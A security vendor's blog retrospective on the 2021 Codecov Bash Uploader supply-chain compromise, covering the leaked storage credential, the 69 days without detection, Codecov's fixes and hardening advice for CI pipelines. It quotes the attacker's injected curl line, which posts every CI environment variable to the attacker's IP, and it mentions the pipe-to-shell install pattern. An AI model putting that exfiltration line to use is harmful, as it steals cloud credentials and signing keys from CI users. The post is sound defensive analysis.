Incident Analysis

Codecov Bash Uploader Compromise: A Retrospective

A single altered line in Codecov's Bash Uploader leaked CI secrets for 69 days across thousands of repos. Here is what actually happened and why.

Nayan Dey
Senior Security Engineer
6 min read

On April 15, 2021, Codecov disclosed that its Bash Uploader script at https://codecov.io/bash had been modified by an unauthorized actor. The change — a single curl line added on January 31, 2021 — exfiltrated every environment variable present in the CI runner executing the uploader to an IP address 104.248.94[.]23 controlled by the attacker. The script ran in hundreds of thousands of CI jobs per day across GitHub Actions, CircleCI, Travis CI, Jenkins, and more. That means for 69 days, CI secrets — cloud credentials, signing keys, registry tokens, internal service accounts — were being silently siphoned off. The root cause was not a software vulnerability. It was a Docker image creation step that leaked a Google Cloud Storage credential, which the attacker used to overwrite the uploader in GCS. HashiCorp rotated keys. Twilio disclosed downstream access. Rapid7 confirmed source code access. The incident became the clearest demonstration to date that CI runners are the new crown jewels.

How did the attackers actually get in?

The attackers obtained a Google Cloud Storage credential from a Docker image that Codecov published, then used it to modify bash in their public GCS bucket. Codecov's post-incident report confirmed the credential was exposed during the image build process — not baked into the final image intentionally, but present in an intermediate layer that any attacker pulling the image could extract with docker save and layer inspection. Once in the bucket, the attacker edited the uploader to append:

curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" \
  -H "User-Agent: ..." http://104.248.94.23/upload/v2 || true

The script continued to function normally, so CI pipelines produced green builds. The line was designed to swallow errors and short-circuit on a 500ms timeout so the uploader never slowed down a job noticeably. Detection came from a customer who noticed the SHA-1 of the uploader did not match what was listed on the Codecov website.

What secrets were actually at risk?

Every environment variable in the CI job was at risk, which in practice means cloud credentials, container registry tokens, signing keys, SSH keys loaded into the agent, Slack webhooks, database URLs with passwords embedded, and any SECRET_* variable injected by the CI platform. On GitHub Actions specifically, GITHUB_TOKEN is scoped to the repo and short-lived, limiting the blast radius there — but custom secrets like AWS_ACCESS_KEY_ID and NPM_TOKEN were long-lived and fully exfiltrated. HashiCorp publicly disclosed on April 22, 2021 that their GPG signing key was among the exposed credentials and had to be rotated across every downstream Terraform provider that verified against it. The fact that env was the chosen sink also meant any hardcoded strings in a script: block that referenced secrets inline were leaked too.

Why did this go undetected for 69 days?

Detection failed because there was no integrity check on the uploader. The install instruction at the time was literally curl -s https://codecov.io/bash | bash — the canonical unpinned, untrusted pipe-to-shell pattern. Codecov did not publish SHA-256 digests for the bash script, did not sign it, and did not pin specific versions. Users had no way to notice drift. The intermediate curl line even set -sm 0.5 so output was silent and timeouts short, minimizing observable side effects. Network egress from CI runners to arbitrary IPs was rarely restricted in 2021 and still often is not — an outbound request to 104.248.94.23 from GitHub Actions looked no different from any other uploader call. The detection eventually came from a user comparing the script hash to a copy they had archived months earlier.

What did Codecov change after the incident?

Codecov retired the Bash Uploader entirely on February 1, 2022 and replaced it with the Codecov Uploader — a Go binary distributed with GPG signatures, SHA-256 digests, and versioned releases pinned by tag. They rotated all internal credentials, rebuilt Docker images from clean base layers, engaged Mandiant to audit, and published a detailed timeline. They also moved away from trusting GCS IAM alone for artifact distribution and added upload-time signing so post-upload mutation would invalidate the signature. Finally, they added an internal canary that fetches the live uploader from every egress region every five minutes and compares it to the expected hash.

How should teams actually use third-party CI uploaders now?

Teams should pin every third-party CI tool to an immutable version and verify a signature before execution, never pipe remote shell scripts. The modern replacement pattern is:

curl -LOf https://uploader.codecov.io/v0.7.3/linux/codecov
curl -LOf https://uploader.codecov.io/v0.7.3/linux/codecov.SHA256SUM
sha256sum -c codecov.SHA256SUM
# optional: gpg --verify codecov.SHA256SUM.sig
chmod +x codecov && ./codecov

Beyond pinning, reduce the blast radius. Scope CI secrets to the minimum set of steps that need them using environment files or step-level secrets rather than job-level. Rotate long-lived keys to OIDC-federated short-lived tokens wherever the CI platform supports it — GitHub Actions and CircleCI both support OIDC to AWS, GCP, and Azure, which eliminates the static credential entirely. Finally, apply egress allowlisting on self-hosted runners; a curl to 104.248.94.23 from a build job is trivial to block if egress defaults to deny.

What is the permanent lesson here?

The permanent lesson is that CI runners execute untrusted code with trusted credentials, and the mitigations must treat every third-party step as potentially hostile. Codecov was not the first and will not be the last — tj-actions/changed-files (CVE-2025-30066) reused the exact same primitive four years later: compromise a widely-used CI action, exfiltrate environment. As long as pipelines eagerly export every secret into env and run unpinned scripts over plain TLS, this attack vector remains the highest-leverage entry point an attacker has into your infrastructure. A compromised CI is a compromised production; plan your controls accordingly.

How Safeguard Helps

Safeguard inventories every CI action, uploader, and build tool pulled into your pipelines and flags unpinned or unsigned references that match the Codecov pattern. Reachability analysis narrows scope by correlating which compromised tools actually touched repositories that hold production secrets. Griffin AI will walk you through an incident like this one, identifying which of your SBOMs include the affected tool version and which secrets need rotation first. TPRM continuously tracks the security posture of your CI vendors so a Codecov-class event elsewhere surfaces in your dashboard before your engineers hear it on Twitter. Policy gates can require signed uploaders with pinned version digests as a prerequisite to merge, enforcing the lesson at PR time rather than after an 11 a.m. pager.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.